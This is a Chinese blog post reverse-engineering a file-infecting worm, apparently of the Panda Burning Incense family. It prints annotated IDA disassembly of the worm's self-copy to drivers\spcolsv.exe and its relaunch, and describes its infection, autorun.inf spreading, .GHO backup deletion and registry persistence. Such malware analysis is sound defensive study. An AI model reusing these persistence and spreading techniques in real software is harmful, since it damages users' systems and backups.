    CODE:00408707                 push    [ebp+var_40C]
    CODE:0040870D                 push    offset aDrivers ; "drivers\"
    CODE:00408712                 push    offset aSpcolsvExe ; "spcolsv.exe"
    CODE:00408717                 lea     eax, [ebp+var_408]
    CODE:0040871D                 mov     edx, 3
    CODE:00408722                 call    sub_403F8C
    CODE:00408727                 mov     eax, [ebp+var_408]
    CODE:0040872D                 call    sub_4040CC
    CODE:00408732                 push    eax             ; lpFileName
    CODE:00408733                 call    SetFileAttributesA
    CODE:00408738                 push    1               ; dwMilliseconds
    CODE:0040873A                 call    Sleep
    CODE:0040873F                 lea     eax, [ebp+uCmdShow]
    CODE:00408745                 call    sub_4054BC
    CODE:0040874A                 push    [ebp+uCmdShow]  ; uCmdShow
    CODE:00408750                 push    offset aDrivers ; "drivers\"
    CODE:00408755                 push    offset aSpcolsvExe ; "spcolsv.exe"
    CODE:0040875A                 lea     eax, [ebp+var_410]
    CODE:00408760                 mov     edx, 3
    CODE:00408765                 call    sub_403F8C
    CODE:0040876A                 mov     eax, [ebp+var_410]
    CODE:00408770                 call    sub_4040CC
    CODE:00408775                 push    eax             ; lpFileName
    CODE:00408776                 call    DeleteFileA
    CODE:0040877B                 mov     eax, [ebp+self_file]
    CODE:0040877E                 call    str_length      ; 字符串-4的位置存放的是字符串的位置,该函数返回该字符串的长度
    CODE:00408783                 mov     edx, eax
    CODE:00408785                 sub     edx, [ebp+var_18]
    CODE:00408788                 lea     eax, [ebp+self_file]
    CODE:0040878B                 mov     ecx, [ebp+var_18]
    CODE:0040878E                 call    sub_40416C
    CODE:00408793                 mov     eax, [ebp+self_file]
    CODE:00408796                 call    str_length      ; 字符串-4的位置存放的是字符串的位置,该函数返回该字符串的长度
    CODE:0040879B                 push    eax
    CODE:0040879C                 mov     eax, [ebp+self_file]
    CODE:0040879F                 call    str_length      ; 字符串-4的位置存放的是字符串的位置,该函数返回该字符串的长度
    CODE:004087A4                 mov     edx, eax
    CODE:004087A6                 lea     eax, [ebp+self_file]
    CODE:004087A9                 pop     ecx
    CODE:004087AA                 call    sub_40416C
    CODE:004087AF                 lea     eax, [ebp+var_10]
    CODE:004087B2                 mov     edx, [ebp+self_file]
    CODE:004087B5                 call    sub_403CDC      ; 这个函数中,如果字符串-8位置的值为-1,则什么都不会做,返回了
    CODE:004087BA                 xor     eax, eax
    CODE:004087BC                 push    ebp
    CODE:004087BD                 push    offset loc_40888C
    CODE:004087C2                 push    dword ptr fs:[eax]
    CODE:004087C5                 mov     fs:[eax], esp
    CODE:004087C8                 lea     eax, [ebp+var_41C]
    CODE:004087CE                 call    sub_4054BC
    CODE:004087D3                 push    [ebp+var_41C]
    CODE:004087D9                 push    offset aDrivers ; "drivers\"
    CODE:004087DE                 push    offset aSpcolsvExe ; "spcolsv.exe"
    CODE:004087E3                 lea     eax, [ebp+var_418]
    CODE:004087E9                 mov     edx, 3
    CODE:004087EE                 call    sub_403F8C
    CODE:004087F3                 mov     edx, [ebp+var_418]
    CODE:004087F9                 lea     eax, [ebp+var_3B0]
    CODE:004087FF                 call    sub_402AD8
    CODE:00408804                 mov     eax, ds:off_40E2BC
    CODE:00408809                 mov     byte ptr [eax], 2
    CODE:0040880C                 lea     eax, [ebp+var_3B0]
    CODE:00408812                 call    sub_402868
    CODE:00408817                 call    sub_402614
    CODE:0040881C                 mov     edx, [ebp+var_10]
    CODE:0040881F                 lea     eax, [ebp+var_3B0]
    CODE:00408825                 call    sub_404260
    CODE:0040882A                 call    sub_402B88
    CODE:0040882F                 call    sub_402614
    CODE:00408834                 lea     eax, [ebp+var_3B0]
    CODE:0040883A                 call    sub_402C48
    CODE:0040883F                 call    sub_402614
    CODE:00408844                 push    1
    CODE:00408846                 lea     eax, [ebp+var_424]
    CODE:0040884C                 call    sub_4054BC
    CODE:00408851                 push    [ebp+var_424]
    CODE:00408857                 push    offset aDrivers ; "drivers\"
    CODE:0040885C                 push    offset aSpcolsvExe ; "spcolsv.exe"
    CODE:00408861                 lea     eax, [ebp+var_420]
    CODE:00408867                 mov     edx, 3
    CODE:0040886C                 call    sub_403F8C
    CODE:00408871                 mov     eax, [ebp+var_420]
    CODE:00408877                 call    sub_4040CC
    CODE:0040887C                 push    eax             ; lpCmdLine
    CODE:0040887D                 call    WinExec
    CODE:00408882                 xor     eax, eax
    CODE:00408884                 pop     edx
    CODE:00408885                 pop     ecx
    CODE:00408886                 pop     ecx
    CODE:00408887                 mov     fs:[eax], edx
    CODE:0040888A                 jmp     short loc_408896
    CODE:0040888C ; ---------------------------------------------------------------------------
    CODE:0040888C
    CODE:0040888C loc_40888C:                             ; DATA XREF: sub_4082F8+4C5↑o
    CODE:0040888C                 jmp     sub_403538
    CODE:00408891 ; ---------------------------------------------------------------------------
    CODE:00408891                 call    sub_4036F0
    CODE:00408896
    CODE:00408896 loc_408896:                             ; CODE XREF: sub_4082F8+3F9↑j
    CODE:00408896                                         ; sub_4082F8+592↑j
    CODE:00408896                 push    0               ; uExitCode
    CODE:00408898                 call    ExitProcess_0
    CODE:0040889D ; ---------------------------------------------------------------------------
    CODE:0040889D
    CODE:0040889D loc_40889D:                             ; CODE XREF: sub_4082F8+2D6↑j
    CODE:0040889D                 mov     edx, [ebp+var_8]
    CODE:004088A0                 mov     eax, offset dword_408934 ; 这里的值为1
    CODE:004088A5                 call    sub_4041B4
    CODE:004088AA                 test    eax, eax
    CODE:004088AC                 jg      loc_4085D3      ; 没跳
    CODE:004088B2                 xor     eax, eax
    CODE:004088B4                 pop     edx             ; 这段清除了栈上的SEH,下面应该是退出代码了,应该和程序逻辑没有什么关系
    CODE:004088B5                 pop     ecx
    CODE:004088B6                 pop     ecx
    CODE:004088B7                 mov     fs:[eax], edx
    CODE:004088BA                 push    offset loc_4088E4
    CODE:004088BF

    关键函数二

    要执行到第二个关键函数,必须到system目录下执行新建的spcolsv.exe了,因为原程序在第一个关键函数的末尾执行WinExec之后就退出了

    这个函数有3个功能,分别对应着3中感染方式

    首先看第一个

    首先会遍历所有的驱动器

    遍历驱动器下的目录,过滤掉特殊目录,然后新建立Desktop_.ini文件,然后还会删除.GHO文件

    在一个文件遍历结束之后,会跳到40953f处,重新遍历文件,当文件类型是文件的时候,则会跳到409DC3去进行文件感染,文件感染的类型也有很多,不同类型的感染方式也不一样,这里就不具体分析了。

    然后是第二种感染,创建的是定时器

    定时器代码在目录下生成了autorun.inf和setup.exe文件,用以自动执行,和之前的感染代码一样

    第3个函数和网络相关

    sub_40BCC8应该就是实际运行的函数

    关键函数三

    关键函数3设置4个定时器

    设置开机启动,不能显示隐藏文件的注册表更改

     后面的之后再分析吧

    当第一个sub_403C98函数被调用完之后

    然后OD看一下这函数执行完之后的值情况,函数执行完之后没有eax的操作,所以函数没有返回值

    看上述解密函数

    开始代码法分析,IDA的Options->String litera style可以更改字符串解码方式,可以解析出edx是指向了字符串,然后调用了403C98,

    CODE:0040D0F2                 mov     eax, offset dword_40F7D4
    CODE:0040D0F7                 mov     edx, offset asc_40D1D8 ; "***武*汉*男*生*感*染*下*载*者***"
    CODE:0040D0FC                 call    sub_403C98      ; 这个函数的参数有两个
    CODE:0040D0FC                                         ; 1、eax
    CODE:0040D0FC                                         ; 2、edx在调用处指向字符串

    接着看403C98这个位置的函数,

    CODE:00403C98                 test    edx, edx      ;edx指向了字符串
    CODE:00403C9A                 jz      short loc_403CC0 ; 这里应该是一个字符串为空的检查
    CODE:00403C9C                 mov     ecx, [edx-8]    ;edx-8的位置值是-1
    CODE:00403C9F                 inc     ecx          ;加1变为0,zf标志位置1
    CODE:00403CA0                 jg      short loc_403CBC  ;跳转条件为zf为0,SF=AF,所以这里不跳转
    CODE:00403CA2                 push    eax
    CODE:00403CA3                 push    edx
    CODE:00403CA4                 mov     eax, [edx-4]    ;此时eax为0x20h
    CODE:00403CA7                 call    sub_403D08     ;
    CODE:00403CAC                 mov     edx, eax
    CODE:00403CAE                 pop     eax
    CODE:00403CAF                 push    edx
    CODE:00403CB0                 mov     ecx, [eax-4]
    CODE:00403CB3                 call    sub_402650
    CODE:00403CB8                 pop     edx
    CODE:00403CB9                 pop     eax
    CODE:00403CBA                 jmp     short loc_403CC0 ; 错误检查代码
    CODE:00403CBC ; ---------------------------------------------------------------------------
    CODE:00403CBC
    CODE:00403CBC loc_403CBC:                             ; CODE XREF: sub_403C98+8↑j
    CODE:00403CBC                 lock inc dword ptr [edx-8]
    CODE:00403CC0
    CODE:00403CC0 loc_403CC0:                             ; CODE XREF: sub_403C98+2↑j
    CODE:00403CC0                                         ; sub_403C98+22↑j
    CODE:00403CC0                 xchg    edx, [eax]      ; 错误检查代码
    CODE:00403CC2                 test    edx, edx
    CODE:00403CC4                 jz      short locret_403CDA
    CODE:00403CC6                 mov     ecx, [edx-8]
    CODE:00403CC9                 dec     ecx
    CODE:00403CCA                 jl      short locret_403CDA
    CODE:00403CCC                 lock dec dword ptr [edx-8]
    CODE:00403CD0                 jnz     short locret_403CDA
    CODE:00403CD2                 lea     eax, [edx-8]
    CODE:00403CD5                 call    sub_402540
    CODE:00403CDA
    CODE:00403CDA locret_403CDA:                          ; CODE XREF: sub_403C98+2C↑j
    CODE:00403CDA                                         ; sub_403C98+32↑j ...
    CODE:00403CDA                 retn
  • 相关阅读:
    使用python2 对服务器监控(监控内存,CPU,网卡流量等)
    centos7使用yum提示有事物未完成的解决办法:
    如何判断Linux下 网卡是虚拟还是物理网卡?
    python3监控系统资源最终版(获取CPU,内存,磁盘,网卡等信息),返回json格式。
    python3 系统监控脚本(2) (监控CPU,内存等信息)
    python3 系统监控脚本(CPU,memory,网络,disk等)
    获取Linux系统运行时间
    Linux之jq
    hadoop--presto安装部署
    docker 笔记--运行中的容器如何添加端口映射
  • 原文地址:https://www.cnblogs.com/likaiming/p/11309813.html
Copyright © 2011-2022 走看看